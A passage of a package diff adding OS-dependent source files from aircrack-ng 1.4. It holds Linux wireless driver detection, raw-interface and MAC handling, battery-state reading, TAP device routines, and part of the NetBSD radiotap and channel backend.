+			sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface);
+			f = fopen((char *) strbuf, "w");
+			if (f != NULL)
+			{
+				fprintf(f, "802\n");
+				fclose(f);
+			}
+
+			/* Force prism2 header on madwifi-ng */
+		}
+		else
+		{
+			// Madwifi-old
+			memset(strbuf, 0, sizeof(strbuf));
+			snprintf(strbuf,
+					 sizeof(strbuf) - 1,
+					 "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null",
+					 iface);
+
+			if (system(strbuf) == 0)
+			{
+
+				athXraw[3] = iface[3];
+
+				memset(strbuf, 0, sizeof(strbuf));
+				snprintf(strbuf, sizeof(strbuf) - 1, "ifconfig %s up", athXraw);
+				unused = system(strbuf);
+
+#if 0 /* some people reported problems when prismheader is enabled */
+                memset( strbuf, 0, sizeof( strbuf ) );
+                snprintf( strbuf,  sizeof( strbuf ) - 1,
+                         "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null",
+                         iface );
+                unused = system( strbuf );
+#endif
+
+				iface = athXraw;
+			}
+		}
+	}
+
+	/* test if orinoco */
+
+	if (memcmp(iface, "eth", 3) == 0)
+	{
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			unused = chdir("/");
+			execlp("iwpriv", "iwpriv", iface, "get_port3", NULL);
+			exit(1);
+		}
+
+		waitpid(pid, &n, 0);
+
+		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ORINOCO;
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "iwpriv %s 2>/dev/null | "
+				 "grep get_scan_times >/dev/null",
+				 iface);
+
+		if (system(strbuf) == 0) dev->drivertype = DT_AT76USB;
+	}
+
+	/* test if zd1211rw */
+
+	if (memcmp(iface, "eth", 3) == 0)
+	{
+		if ((pid = fork()) == 0)
+		{
+			close(0);
+			close(1);
+			close(2);
+			unused = chdir("/");
+			execlp("iwpriv", "iwpriv", iface, "get_regdomain", NULL);
+			exit(1);
+		}
+
+		waitpid(pid, &n, 0);
+
+		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ZD1211RW;
+	}
+
+	if (dev->drivertype == DT_IPW2200)
+	{
+		r_file = (char *) calloc(33 + strlen(iface) + 1, sizeof(char));
+		if (!r_file)
+		{
+			goto close_out;
+		}
+		snprintf(r_file,
+				 33 + strlen(iface) + 1,
+				 "/sys/class/net/%s/device/rtap_iface",
+				 iface);
+
+		if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
+		memset(buf, 0, 128);
+		unused_str = fgets(buf, 128, acpi);
+		buf[127] = '\x00';
+		// rtap iface doesn't exist
+		if (strncmp(buf, "-1", 2) == 0)
+		{
+			// repoen for writing
+			fclose(acpi);
+			if ((acpi = fopen(r_file, "w")) == NULL) goto close_out;
+			fputs("1", acpi);
+			// reopen for reading
+			fclose(acpi);
+			if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
+			unused_str = fgets(buf, 128, acpi);
+		}
+		fclose(acpi);
+
+		// use name in buf as new iface and set original iface as main iface
+		dev->main_if = (char *) malloc(strlen(iface) + 1);
+		memset(dev->main_if, 0, strlen(iface) + 1);
+		strncpy(dev->main_if, iface, strlen(iface));
+
+		iface = (char *) malloc(strlen(buf) + 1);
+		iface_malloced = 1;
+		memset(iface, 0, strlen(buf) + 1);
+		strncpy(iface, buf, strlen(buf));
+	}
+
+	/* test if rtap interface and try to find real interface */
+	if (memcmp(iface, "rtap", 4) == 0 && dev->main_if == NULL)
+	{
+		memset(&ifr, 0, sizeof(ifr));
+		strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
+
+		n = 0;
+
+		if (ioctl(dev->fd_out, SIOCGIFINDEX, &ifr) < 0)
+		{
+			// create rtap interface
+			n = 1;
+		}
+
+		net_ifaces = opendir("/sys/class/net");
+		if (net_ifaces != NULL)
+		{
+			while (net_ifaces != NULL
+				   && ((this_iface = readdir(net_ifaces)) != NULL))
+			{
+				if (this_iface->d_name[0] == '.') continue;
+
+				char * new_r_file = (char *) realloc(
+					r_file,
+					(33 + strlen(this_iface->d_name) + 1) * sizeof(char));
+				if (!new_r_file)
+				{
+					continue;
+				}
+				r_file = new_r_file;
+				snprintf(r_file,
+						 33 + strlen(this_iface->d_name) + 1,
+						 "/sys/class/net/%s/device/rtap_iface",
+						 this_iface->d_name);
+
+				if ((acpi = fopen(r_file, "r")) == NULL) continue;
+				if (acpi != NULL)
+				{
+					dev->drivertype = DT_IPW2200;
+
+					memset(buf, 0, 128);
+					unused_str = fgets(buf, 128, acpi);
+					if (n == 0) // interface exists
+					{
+						if (strncmp(buf, iface, 5) == 0)
+						{
+							fclose(acpi);
+							if (net_ifaces != NULL)
+							{
+								closedir(net_ifaces);
+								net_ifaces = NULL;
+							}
+							dev->main_if = (char *) malloc(
+								strlen(this_iface->d_name) + 1);
+							strcpy(dev->main_if, this_iface->d_name);
+							break;
+						}
+					}
+					else // need to create interface
+					{
+						if (strncmp(buf, "-1", 2) == 0)
+						{
+							// repoen for writing
+							fclose(acpi);
+							if ((acpi = fopen(r_file, "w")) == NULL) continue;
+							fputs("1", acpi);
+							// reopen for reading
+							fclose(acpi);
+							if ((acpi = fopen(r_file, "r")) == NULL) continue;
+							unused_str = fgets(buf, 128, acpi);
+							if (strncmp(buf, iface, 5) == 0)
+							{
+								if (net_ifaces != NULL)
+								{
+									closedir(net_ifaces);
+									net_ifaces = NULL;
+								}
+								dev->main_if = (char *) malloc(
+									strlen(this_iface->d_name) + 1);
+								strcpy(dev->main_if, this_iface->d_name);
+								fclose(acpi);
+								break;
+							}
+						}
+					}
+					fclose(acpi);
+				}
+			}
+			if (net_ifaces != NULL) closedir(net_ifaces);
+		}
+	}
+
+	if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0)
+	{
+		goto close_out;
+	}
+
+	/* don't use the same file descriptor for in and out on bcm43xx,
+	   as you read from the interface, but write into a file in /sys/...
+	 */
+	if (!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200))
+	{
+		close(dev->fd_in);
+		dev->fd_in = dev->fd_out;
+	}
+	else
+	{
+		/* if bcm43xx or ipw2200, swap both fds */
+		n = dev->fd_out;
+		dev->fd_out = dev->fd_in;
+		dev->fd_in = n;
+	}
+
+	dev->arptype_in = dev->arptype_out;
+
+	if (iface_malloced) free(iface);
+	if (r_file)
+	{
+		free(r_file);
+	}
+	return 0;
+close_out:
+	close(dev->fd_out);
+	if (r_file)
+	{
+		free(r_file);
+	}
+close_in:
+	close(dev->fd_in);
+	if (iface_malloced) free(iface);
+	if (iwpriv) free(iwpriv);
+	return 1;
+}
+
+static void do_free(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	if (pl->wlanctlng) free(pl->wlanctlng);
+
+	if (pl->iwpriv) free(pl->iwpriv);
+
+	if (pl->iwconfig) free(pl->iwconfig);
+
+	if (pl->ifconfig) free(pl->ifconfig);
+
+	if (pl->wl) free(pl->wl);
+
+	if (pl->main_if) free(pl->main_if);
+
+	free(pl);
+	free(wi);
+}
+
+#ifndef CONFIG_LIBNL
+static void linux_close(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	if (pl->fd_in && pl->fd_out && pl->fd_in == pl->fd_out)
+	{
+		// Only close one if both are the same
+		close(pl->fd_in);
+	}
+	else
+	{
+		if (pl->fd_in) close(pl->fd_in);
+		if (pl->fd_out) close(pl->fd_out);
+	}
+	if (pl->fd_main) close(pl->fd_main);
+
+	do_free(wi);
+}
+
+#else
+
+static void linux_close_nl80211(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	nl80211_cleanup(&state);
+
+	if (pl->fd_in) close(pl->fd_in);
+	if (pl->fd_out) close(pl->fd_out);
+
+	do_free(wi);
+}
+#endif
+
+static int linux_fd(struct wif * wi)
+{
+	struct priv_linux * pl = wi_priv(wi);
+
+	return pl->fd_in;
+}
+
+static int linux_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	struct ifreq ifr;
+	int fd;
+
+	fd = wi_fd(wi);
+	/* find the interface index */
+
+	/* ipw2200 got a file opened as fd  */
+	if (pl->drivertype == DT_IPW2200)
+	{
+		memcpy(mac, pl->pl_mac, 6);
+		return 0;
+	}
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFINDEX) failed");
+		return (1);
+	}
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	memcpy(pl->pl_mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6);
+
+	/* XXX */
+	memcpy(mac, pl->pl_mac, 6);
+	return 0;
+}
+
+static int linux_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_linux * pl = wi_priv(wi);
+	struct ifreq ifr;
+	int fd, ret;
+
+	fd = wi_fd(wi);
+	/* find the interface index */
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
+
+	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
+	{
+		printf("Interface %s: \n", wi_get_ifname(wi));
+		perror("ioctl(SIOCGIFHWADDR) failed");
+		return (1);
+	}
+
+	//         if down
+	ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
+
+	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+	{
+		perror("ioctl(SIOCSIFFLAGS) failed");
+		return (1);
+	}
+
+	ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
+	memcpy(ifr.ifr_hwaddr.sa_data, mac, 6);
+	memcpy(pl->pl_mac, mac, 6);
+
+	// set mac
+	ret = ioctl(fd, SIOCSIFHWADDR, &ifr);
+
+	// if up
+	ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+
+	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+	{
+		perror("ioctl(SIOCSIFFLAGS) failed");
+		return (1);
+	}
+
+	return ret;
+}
+
+static struct wif * linux_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_linux * pl;
+
+	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
+	{
+		return NULL;
+	}
+
+	wi = wi_alloc(sizeof(*pl));
+	if (!wi) return NULL;
+	wi->wi_read = linux_read;
+	wi->wi_write = linux_write;
+#ifdef CONFIG_LIBNL
+	linux_nl80211_init(&state);
+	wi->wi_set_ht_channel = linux_set_ht_channel_nl80211;
+	wi->wi_set_channel = linux_set_channel_nl80211;
+#else
+	wi->wi_set_channel = linux_set_channel;
+#endif // CONFIG_LIBNL
+	wi->wi_get_channel = linux_get_channel;
+	wi->wi_set_freq = linux_set_freq;
+	wi->wi_get_freq = linux_get_freq;
+#ifdef CONFIG_LIBNL
+	wi->wi_close = linux_close_nl80211;
+#else
+	wi->wi_close = linux_close;
+#endif
+	wi->wi_fd = linux_fd;
+	wi->wi_get_mac = linux_get_mac;
+	wi->wi_set_mac = linux_set_mac;
+	wi->wi_get_monitor = linux_get_monitor;
+	wi->wi_get_rate = linux_get_rate;
+	wi->wi_set_rate = linux_set_rate;
+	wi->wi_get_mtu = linux_get_mtu;
+	wi->wi_set_mtu = linux_set_mtu;
+
+	if (do_linux_open(wi, iface))
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return linux_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+	char buf[128];
+	int batteryTime = 0;
+	FILE * apm;
+	int flag;
+	char units[32];
+	int ret;
+	static int linux_apm = 1;
+	static int linux_acpi = 1;
+
+	if (linux_apm == 1)
+	{
+		char * battery_data = NULL;
+
+		if ((apm = fopen("/proc/apm", "r")) != NULL)
+		{
+			battery_data = fgets(buf, 128, apm);
+			fclose(apm);
+		}
+
+		if (battery_data != NULL)
+		{
+			int charging, ac;
+
+			ret = sscanf(battery_data,
+						 "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n",
+						 &ac,
+						 &charging,
+						 &flag,
+						 &batteryTime,
+						 units);
+			if (!ret) return 0;
+
+			if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1
+				&& batteryTime != -1)
+			{
+				if (!strncmp(units, "min", 32)) batteryTime *= 60;
+			}
+			else
+				return 0;
+			linux_acpi = 0;
+			return batteryTime;
+		}
+		linux_apm = 0;
+	}
+	if (linux_acpi && !linux_apm)
+	{
+		DIR *batteries, *ac_adapters;
+		struct dirent *this_battery, *this_adapter;
+		FILE *acpi, *info;
+		char battery_state[28 + sizeof(this_adapter->d_name) + 1];
+		char battery_info[24 + sizeof(this_battery->d_name) + 1];
+		int rate = 1, remain = 0, current = 0;
+		static int total_remain = 0, total_cap = 0;
+		int batno = 0;
+		static int info_timer = 0;
+		int batt_full_capacity[3];
+		linux_apm = 0;
+		linux_acpi = 1;
+		ac_adapters = opendir("/proc/acpi/ac_adapter");
+		if (ac_adapters == NULL) return 0;
+
+		while (ac_adapters != NULL
+			   && ((this_adapter = readdir(ac_adapters)) != NULL))
+		{
+			if (this_adapter->d_name[0] == '.')
+			{
+				continue;
+			}
+			/* safe overloaded use of battery_state path var */
+			snprintf(battery_state,
+					 sizeof(battery_state),
+					 "/proc/acpi/ac_adapter/%s/state",
+					 this_adapter->d_name);
+			if ((acpi = fopen(battery_state, "r")) == NULL)
+			{
+				continue;
+			}
+			if (acpi != NULL)
+			{
+				while (fgets(buf, 128, acpi))
+				{
+					if (strstr(buf, "on-line") != NULL)
+					{
+						fclose(acpi);
+						if (ac_adapters != NULL) closedir(ac_adapters);
+						return 0;
+					}
+				}
+				fclose(acpi);
+			}
+		}
+		if (ac_adapters != NULL)
+		{
+			closedir(ac_adapters);
+		}
+
+		batteries = opendir("/proc/acpi/battery");
+		if (batteries == NULL)
+		{
+			return 0;
+		}
+
+		while (batteries != NULL
+			   && ((this_battery = readdir(batteries)) != NULL))
+		{
+			if (this_battery->d_name[0] == '.') continue;
+
+			snprintf(battery_info,
+					 sizeof(battery_info),
+					 "/proc/acpi/battery/%s/info",
+					 this_battery->d_name);
+			info = fopen(battery_info, "r");
+			batt_full_capacity[batno] = 0;
+			if (info != NULL)
+			{
+				while (fgets(buf, sizeof(buf), info) != NULL)
+					if (sscanf(buf,
+							   "last full capacity:      %d mWh",
+							   &batt_full_capacity[batno])
+						== 1)
+						continue;
+				fclose(info);
+			}
+
+			snprintf(battery_state,
+					 sizeof(battery_state),
+					 "/proc/acpi/battery/%s/state",
+					 this_battery->d_name);
+			if ((acpi = fopen(battery_state, "r")) == NULL) continue;
+			while (fgets(buf, 128, acpi))
+			{
+				if (strncmp(buf, "present:", 8) == 0)
+				{
+					/* No information for this battery */
+					if (strstr(buf, "no")) continue;
+				}
+				else if (strncmp(buf, "charging state:", 15) == 0)
+				{
+					/* the space makes it different than discharging */
+					if (strstr(buf, " charging"))
+					{
+						closedir(batteries);
+						fclose(acpi);
+						return 0;
+					}
+				}
+				else if (strncmp(buf, "present rate:", 13) == 0)
+					rate = atoi(buf + 25);
+				else if (strncmp(buf, "remaining capacity:", 19) == 0)
+				{
+					remain = atoi(buf + 25);
+					total_remain += remain;
+				}
+				else if (strncmp(buf, "present voltage:", 17) == 0)
+					current = atoi(buf + 25);
+			}
+			total_cap += batt_full_capacity[batno];
+			fclose(acpi);
+			batteryTime += (int) ((((float) remain) / rate) * 3600);
+			batno++;
+		}
+		info_timer++;
+
+		if (batteries != NULL) closedir(batteries);
+	}
+	return batteryTime;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/linux_tap.c Added

@@ -0,0 +1,210 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Linux. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <linux/if.h>
+#include <linux/if_ether.h>
+#include <netinet/in.h>
+#include <linux/if_tun.h>
+#include <net/if_arp.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+
+#include "osdep.h"
+
+struct tip_linux
+{
+	int tl_fd;
+	struct ifreq tl_ifr;
+	int tl_ioctls;
+	char tl_name[MAX_IFACE_NAME];
+};
+
+static int ti_do_open_linux(struct tif * ti, char * name)
+{
+	int fd_tap;
+	struct ifreq if_request;
+	struct tip_linux * priv = ti_priv(ti);
+
+	fd_tap = open(name ? name : "/dev/net/tun", O_RDWR);
+	if (fd_tap < 0)
+	{
+		printf("error opening tap device: %s\n", strerror(errno));
+		printf("try \"modprobe tun\"\n");
+		return -1;
+	}
+
+	memset(&if_request, 0, sizeof(if_request));
+	if_request.ifr_flags = IFF_TAP | IFF_NO_PI;
+	strncpy(if_request.ifr_name, "at%d", IFNAMSIZ);
+	if (ioctl(fd_tap, TUNSETIFF, (void *) &if_request) < 0)
+	{
+		printf("error creating tap interface: %s\n", strerror(errno));
+		close(fd_tap);
+		return -1;
+	}
+
+	strncpy(priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME);
+	strncpy(priv->tl_ifr.ifr_name,
+			priv->tl_name,
+			sizeof(priv->tl_ifr.ifr_name) - 1);
+
+	if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1)
+	{
+		priv->tl_ioctls = 0;
+		close(fd_tap);
+		return -1;
+	}
+
+	return fd_tap;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_fbsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_close_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	close(priv->tl_fd);
+	close(priv->tl_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	return priv->tl_name;
+}
+
+static int ti_set_mtu_linux(struct tif * ti, int mtu)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	priv->tl_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr);
+}
+
+static int ti_get_mtu_linux(struct tif * ti)
+{
+	int mtu;
+	struct tip_linux * priv = ti_priv(ti);
+
+	if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1)
+	{
+		mtu = priv->tl_ifr.ifr_mtu;
+	}
+	else
+	{
+		mtu = 1500;
+	}
+
+	return mtu;
+}
+
+static int ti_set_mac_linux(struct tif * ti, unsigned char * mac)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6);
+	priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr);
+}
+
+static int ti_set_ip_linux(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_linux * priv = ti_priv(ti);
+	struct sockaddr_in * s_in;
+
+	s_in = (struct sockaddr_in *) &priv->tl_ifr.ifr_addr;
+	s_in->sin_family = AF_INET;
+	s_in->sin_addr = *ip;
+
+	return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr);
+}
+
+static int ti_fd_linux(struct tif * ti)
+{
+	struct tip_linux * priv = ti_priv(ti);
+
+	return priv->tl_fd;
+}
+
+static int ti_read_linux(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_linux(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_linux(char * iface)
+{
+	struct tif * ti;
+	struct tip_linux * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_linux;
+	ti->ti_set_mtu = ti_set_mtu_linux;
+	ti->ti_get_mtu = ti_get_mtu_linux;
+	ti->ti_close = ti_close_linux;
+	ti->ti_fd = ti_fd_linux;
+	ti->ti_read = ti_read_linux;
+	ti->ti_write = ti_write_linux;
+	ti->ti_set_mac = ti_set_mac_linux;
+	ti->ti_set_ip = ti_set_ip_linux;
+
+	/* setup iface */
+	fd = ti_do_open_linux(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tl_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_linux(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/netbsd.c Added

@@ -0,0 +1,565 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for NetBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/param.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#include <net80211/ieee80211.h>
+#include <net80211/ieee80211_crypto.h>
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_proto.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+#ifndef IEEE80211_RADIOTAP_F_FCS
+#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
+#endif
+
+#ifndef IEEE80211_IOC_CHANNEL
+#define IEEE80211_IOC_CHANNEL 0
+#endif
+
+#ifndef le32toh
+#define le32toh(x) htole32(x)
+#endif
+
+struct priv_nbsd
+{
+	/* iface */
+	int pn_fd;
+
+	/* rx */
+	int pn_nocrc;
+
+	/* tx */
+	unsigned char pn_buf[4096];
+	unsigned char * pn_next;
+	int pn_totlen;
+
+	/* setchan */
+	int pn_s;
+	struct ifreq pn_ifr;
+	struct ieee80211chanreq pn_ireq;
+	int pn_chan;
+};
+
+static void get_radiotap_info(struct priv_nbsd * pn,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					ri->ri_channel = 1;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		pn->pn_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_nbsd * pn, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &pn->pn_next;
+	totlen = &pn->pn_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(pn, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int nbsd_get_channel(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+
+	if (ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+
+	return channel.i_channel;
+}
+
+static int nbsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	struct ieee80211chanreq channel;
+
+	memset(&channel, 0, sizeof(channel));
+	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
+	channel.i_channel = chan;
+	if (ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
+	pn->pn_chan = chan;
+
+	return 0;
+}
+
+static int
+nbsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
+	if (pn->pn_totlen == 0)
+	{
+		pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf));
+		if (pn->pn_totlen == -1)
+		{
+			pn->pn_totlen = 0;
+			return -1;
+		}
+		pn->pn_next = pn->pn_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(pn, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int nbsd_write(struct wif * wi,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+	int rc;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	rc = write(pn->pn_fd, h80211, len);
+	if (rc == -1) return rc;
+
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void nbsd_close(struct wif * wi)
+{
+	struct priv_nbsd * pn = wi_priv(wi);
+
+	close(pn->pn_fd);
+	close(pn->pn_s);
+	do_free(wi);
+}
+
+static int do_nbsd_open(struct wif * wi, char * iface)
+{
+	int i;
